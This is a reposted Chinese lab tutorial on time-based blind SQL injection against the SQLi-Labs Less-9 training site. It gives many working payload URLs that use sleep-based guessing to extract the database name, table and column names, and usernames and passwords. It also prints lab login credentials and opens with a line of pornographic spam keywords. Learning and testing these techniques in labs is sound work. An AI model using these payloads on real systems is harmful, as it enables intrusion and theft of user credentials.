日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 运维知识 > 数据库 >内容正文

数据库

SQL注入——基于时间的盲注(九)

發(fā)布時(shí)間:2023/12/18 数据库 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入——基于时间的盲注(九) 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

本章目的

普及延時(shí)盲注技術(shù)的運(yùn)用場(chǎng)景及條件,熟悉length()、Substr()、ascii()、sleep()、if()等函數(shù)的用法,掌握基于時(shí)間的盲注基本流程。PS:面試問答不深問就回答延遲

基本概念

盲注
在SQL注入過程中,SQL語句執(zhí)行后,選擇的數(shù)據(jù)不能回顯到前端頁(yè)面,此時(shí)需要利用一些
方法進(jìn)行判斷或者嘗試,這個(gè)過程稱之為盲注。
>在盲注中,攻擊者根據(jù)其返回頁(yè)面的不同來判斷信息(可能是頁(yè)面內(nèi)容的不同,也可以是響
應(yīng)時(shí)間不同)。一般情況下,盲注可分為兩類
基于布爾的盲注(Booleanbased)
基于時(shí)間的盲注(Timebased)

基于布爾的育注
>某些場(chǎng)合下,頁(yè)面返回的結(jié)果只有兩種(正常或錯(cuò)誤)。通過構(gòu)造SQL判斷語句,查看頁(yè)面的返回結(jié)果(TrueorFalse)來判斷哪些SQL判斷條件成立,通過此來獲取數(shù)據(jù)庫(kù)中的數(shù)據(jù)。
基于時(shí)間的盲注
>又稱延時(shí)注入,即使用具有延時(shí)功能的函數(shù)sleep、benchmark等,通過判斷這些函數(shù)是否正常執(zhí)行來獲取數(shù)據(jù)庫(kù)中的數(shù)據(jù)

盲注常用函數(shù)

if()
功能:條件判斷。
語法格式:if(expr1,expr2,expr3):expr1為true則返回expr2,expr1為false則返回expr3。
注:僅MySQL支持if(expr1,expr2,expr3)。

left()
功能:截取具有指定長(zhǎng)度的字符串的左邊部分。
語法格式:left(strlength),如果str或length參數(shù)為NULL,則返回NULL值。
參數(shù)說明
str:要提取子串的字符串。
length:正整數(shù),指定將從左邊返回的字符數(shù)。length為0或?yàn)樨?fù),則LEFT返回一個(gè)空字符串
length大于str字符串的長(zhǎng)度,則leftO返回整個(gè)str字符串。

length()
功能:返回字符串的長(zhǎng)度,以字節(jié)為單位。
語法格式:length(str)

substr()、substring()
功能:從指定的位置開始,截取字符串指定長(zhǎng)度的子串。
語法格式:substr(str,pos)或substr(str,pos,len),substring(str,pos)substring(str,pos,len)
參數(shù)說明
str:要提取子串的字符串。
pos:提取子串的開始位置
len:指定要提取的子串的長(zhǎng)度

ascii()、ord()
功能:返回字符串最左邊字符的ASCII碼值
語法格式:ascii(str),ord(str)

cast()、convert()
功能:獲取一個(gè)類型的值,并產(chǎn)生另一個(gè)類型的值。
>語法格式:cast(value as type),convert(value,type)

可轉(zhuǎn)換的值類型
二進(jìn)制,同帶binary前綴的效果:BINARY
字符型,可帶參數(shù):CHARO
日期:DATE
時(shí)間:TIME
日期時(shí)間型:DATETIME
浮點(diǎn)數(shù):DECIMAL
整數(shù):SIGNED
無符號(hào)整數(shù):UNSIGNED

延時(shí)函數(shù)sleep()
功能:讓語句延退執(zhí)行一段時(shí)間,執(zhí)行成功后返回0。
語法格式:sleep(N),即延退執(zhí)行N秒。

延時(shí)函數(shù)benchmark()
功能:讓某語句執(zhí)行一定的次數(shù),執(zhí)行成功后返回0。
語法格式:benchmark(coun,texpr),即讓expr執(zhí)行count次
注:僅MySQL支持該函數(shù)。

實(shí)驗(yàn)環(huán)境
攻擊機(jī):Pentest-Atk
(1)操作系統(tǒng):Windows10
(2)安裝的應(yīng)用軟件:sqlmap 、Burpsuite 、FireFox瀏覽器及其插件Hackbar 、 等

(3)登錄賬號(hào)密碼:操作系統(tǒng)帳號(hào)Administrator,密碼Sangfor!7890
想機(jī):A-SQLi-Labs
(1)操作系統(tǒng):Centos7(本機(jī)亦可)
(2)安裝的應(yīng)用軟件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、
Webug3.0漏洞網(wǎng)站環(huán)境
(3)登錄賬號(hào)密碼:操作系統(tǒng)帳號(hào)root,密碼Sangfor!7890

實(shí)驗(yàn)原理

(1)關(guān)于時(shí)間(延時(shí))盲注

某些場(chǎng)合下,頁(yè)面只有一種返回結(jié)果,使用具有延時(shí)功能的函數(shù)seep(),benchmark()等,通過判斷這些函數(shù)是否正常執(zhí)行來獲取數(shù)據(jù)庫(kù)中的數(shù)據(jù)。

(2)一些功能函數(shù)的說明

ength(str):返回字符串(str)的長(zhǎng)度,以字節(jié)為單位。

substr( str, pos,len):從指定的位置(pos)開始,截取并返回字符串(str)指定

長(zhǎng)度(len)的子串。

ascii(str):返回字符串(str)最左邊字符的ASCll碼。

if(expr1,expr2,expr3):條件判斷函數(shù),expr1為true則返回expr2,expr1為 false則返回exp3。

sleep(N):讓語句延遲執(zhí)行一段時(shí)間(N秒),執(zhí)行成功后返回0。benchmark(count,expr):讓expr執(zhí)行 count次,執(zhí)行成功后返回0。

實(shí)驗(yàn)步驟

本實(shí)驗(yàn)的目標(biāo)是:以sQLi-Labs網(wǎng)站的Less-9為入口,利用基于時(shí)間的盲注方式獲取SQLi-Labs網(wǎng)站的登錄用戶名和密碼

1,訪問SQLi-Labs網(wǎng)站

在攻擊機(jī) Pentest-Atk打開 FireFox瀏覽器,并訪問靶機(jī) A-SQLi-Labs上的

SQLi-Labs網(wǎng)站Less-9。訪問的URL為:

http://[靶機(jī)IP/sqli-labs/Less-9

登錄后,根據(jù)網(wǎng)頁(yè)提示,給定一個(gè)id=1的參數(shù),即:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1

此時(shí)頁(yè)面顯示信息為Youarein....(我的自動(dòng)翻譯了)

如果給定一個(gè)?id=-1的參數(shù),即:

http://127.0.0.1/sqli-labs-master/Less-9/?id=-1

此時(shí)頁(yè)面顯示信息仍然為Youarein...

可以繼續(xù)給定不同的id參數(shù)進(jìn)行嘗試,發(fā)現(xiàn)頁(yè)面的顯示結(jié)果只有一種: You are in..由此可以判斷,這是一種典型的時(shí)間(延時(shí))盲注場(chǎng)景!

2.尋找注入點(diǎn)

使用seep()函數(shù)判斷注入點(diǎn)的類型:(條件不好的50換5)php崩了就重啟

http://127.0.0.1/sqli-labs-master/Less-9/?id=1 and sleep(50)--+

sleep(5)未執(zhí)行,頁(yè)面無明顯延遲。

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(50)--+

sleep(5)成功執(zhí)行,頁(yè)面有明顯延退!

由上述結(jié)果可以判斷,網(wǎng)站存在字符型注入點(diǎn)。
3.盲猜網(wǎng)站當(dāng)前所在數(shù)據(jù)庫(kù)的庫(kù)名長(zhǎng)度
假設(shè)當(dāng)前所在數(shù)據(jù)庫(kù)的庫(kù)名長(zhǎng)度為N,嘗試使用判斷語句

if((length(database())=M),sleep(5),1),

不斷變化M的值去猜測(cè),如果M等于N,
此時(shí)sleep(5)會(huì)成功執(zhí)行,頁(yè)面應(yīng)該會(huì)有明顯延退。
例如執(zhí)行如下payload

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())=7,sleep(5),1)--+

頁(yè)面無明顯延遲,說明網(wǎng)站當(dāng)前所在數(shù)據(jù)庫(kù)的庫(kù)名長(zhǎng)度不是7個(gè)字符。

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())=8,sleep(5),1)--+

4.盲猜網(wǎng)站當(dāng)前所在數(shù)據(jù)庫(kù)的庫(kù)名字符串

本步驟通過逐個(gè)字母盲猜的方式進(jìn)行。

假設(shè)庫(kù)名字符串的第1個(gè)字母為a,那么條件判斷語句 if(substr(庫(kù)名字符串11)='a', sleep(5,1)以及 if(ascii(substr(庫(kù)名字符串1,1)=97,sleep(5),1)中,seep(5)能成功執(zhí)行,頁(yè)面應(yīng)該會(huì)有明顯延遲

假設(shè)庫(kù)名字符串的第2個(gè)字母為b,那么條件判斷語句if(substr(庫(kù)名字符串,2,1)= 'b', sleep(5),1)以及 if(ascii( substr(庫(kù)名字符串,2,1)=98,seep(5),1)中,seep(5)能成功執(zhí)行,頁(yè)面應(yīng)該會(huì)有明顯延遲

...

以此類推。

猜測(cè)庫(kù)名的第1個(gè)字母:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(50),1)--+

or

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database (),1,1))=115,sleep(5),1)--+

頁(yè)面有明顯延遲,證明庫(kù)名的第1個(gè)字母為s,猜測(cè)正確。

?猜測(cè)庫(kù)名的第2個(gè)字母:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr(database(),2,1)='e',sleep(10),1)--+

?or

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database (),2,1))=101,sleep(5),1)--+

頁(yè)面有明顯延遲,證明庫(kù)名的第2個(gè)字母為e,猜測(cè)正確。

?以此類推,最終得到的字符串結(jié)果為 security

5.盲猜數(shù)據(jù)庫(kù) security的全部表名

(1)猜測(cè)第1張表的表名

猜測(cè)第1張表的表名的第1個(gè)字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)--+

頁(yè)面有明顯延遲,證明第1張表的表名的第1個(gè)字符為e,猜測(cè)正確。

?猜測(cè)第1張表的表名的第2個(gè)字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,sleep(5),1)--+

頁(yè)面有明顯延遲,證明第1張表的表名的第2個(gè)字符為m,猜測(cè)正確

?以此類推,得到security庫(kù)中的第1張表的名字為emails。
(2)猜測(cè)第2張表的表名
猜測(cè)第2張表的表名的第1個(gè)字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r',sleep(5),1)--+

or

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,sleep(5),1)--+

?頁(yè)面有明顯延退,證明第2張表的表名的第1個(gè)字符為r,猜測(cè)正確。

猜測(cè)第2張表的表名的第2個(gè)字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,sleep(5),1)--+

頁(yè)面有明顯延遲,證明第2張表的表名的第2個(gè)字符為e,猜測(cè)正確。

...

以此類推,得到security庫(kù)中的第2張表的名字為referers依據(jù)上述方法,通過不斷變換limit和substr()函數(shù)中的參數(shù),可以最終得到security庫(kù)中所有表的表名:emails、referers、uagents和users。其中,第4張表users當(dāng)中往往存放著網(wǎng)站用戶的基本信息

6.盲猜users表的全部字段名
(1)猜測(cè)第1個(gè)字段名
猜測(cè)第1個(gè)字段名的第1個(gè)字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),1)--+

or

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))='105',sleep(5),1)--+

?猜測(cè)第1個(gè)字段名的第2個(gè)字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)='d',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))='100',sleep(5),1)--+

頁(yè)面有明顯延遲,證明第1個(gè)字段名的第2個(gè)字符為d,猜測(cè)正確。

以此類推,得到users表中的第1個(gè)字段名為id。
依據(jù)上述方法,通過不斷變換limit和substr()函數(shù)中的參數(shù),可以最終得到users
表中所有字段名:id、username和password

7.盲猜users表username和password字段的全部值
(1)猜測(cè)第1組數(shù)據(jù)
猜測(cè)第1組數(shù)據(jù)的第1個(gè)字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='D',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))='68',sleep(5),1)--+

頁(yè)面有明顯延遲,證明第1組數(shù)據(jù)的第1個(gè)字符為D,猜測(cè)正確

猜測(cè)第1組數(shù)據(jù)的第2個(gè)字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1)='u',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1))=117,sleep(5),1)--+

頁(yè)面有明顯延遲,證明第1組數(shù)據(jù)的第2個(gè)字符為u,猜測(cè)正確。

以此類推,得到第1組數(shù)據(jù)為Dump.Dump。
注意:字符串中的逗號(hào)(,)也是需要進(jìn)行猜測(cè)比對(duì)的!例如第1組數(shù)據(jù)的第5
個(gè)字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1)=',',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1))=44,sleep(5),1)--+

?(2)猜測(cè)第2組數(shù)據(jù)
猜測(cè)第2組數(shù)據(jù)的第1個(gè)字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1)='A',sleep(5),1)--+

or

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1))=65,sleep(5),1)--+

頁(yè)面有明顯延遲,證明第2組數(shù)據(jù)的第1個(gè)字符為A,猜測(cè)正確。

猜測(cè)第2組數(shù)據(jù)的第2個(gè)字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1)='n',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1))=110,sleep(5),1)--+

頁(yè)面有明顯延遲,證明第2組數(shù)據(jù)的第2個(gè)字符為n,猜測(cè)正確。

...

以此類推,得到第2組數(shù)據(jù)為“Angelina.l-kill-you”
依據(jù)上述方法,通過不斷變換limit和substr()函數(shù)中的參數(shù),可以最終得到users表中username和password字段的全部值。
SQL注入 ——sql數(shù)據(jù)庫(kù)操作基礎(chǔ)(一)_Gjqhs的博客-CSDN博客

SOL注入——HTTP頭部注入(2)(七)_Gjqhs的博客-CSDN博客

SQL注入——基于布爾的盲注(八)_Gjqhs的博客-CSDN博客

...

更多包括而不限于SQL注入的文章,關(guān)注我全部帶走吧( ?? ω ?? )?

總結(jié)

以上是生活随笔為你收集整理的SQL注入——基于时间的盲注(九)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。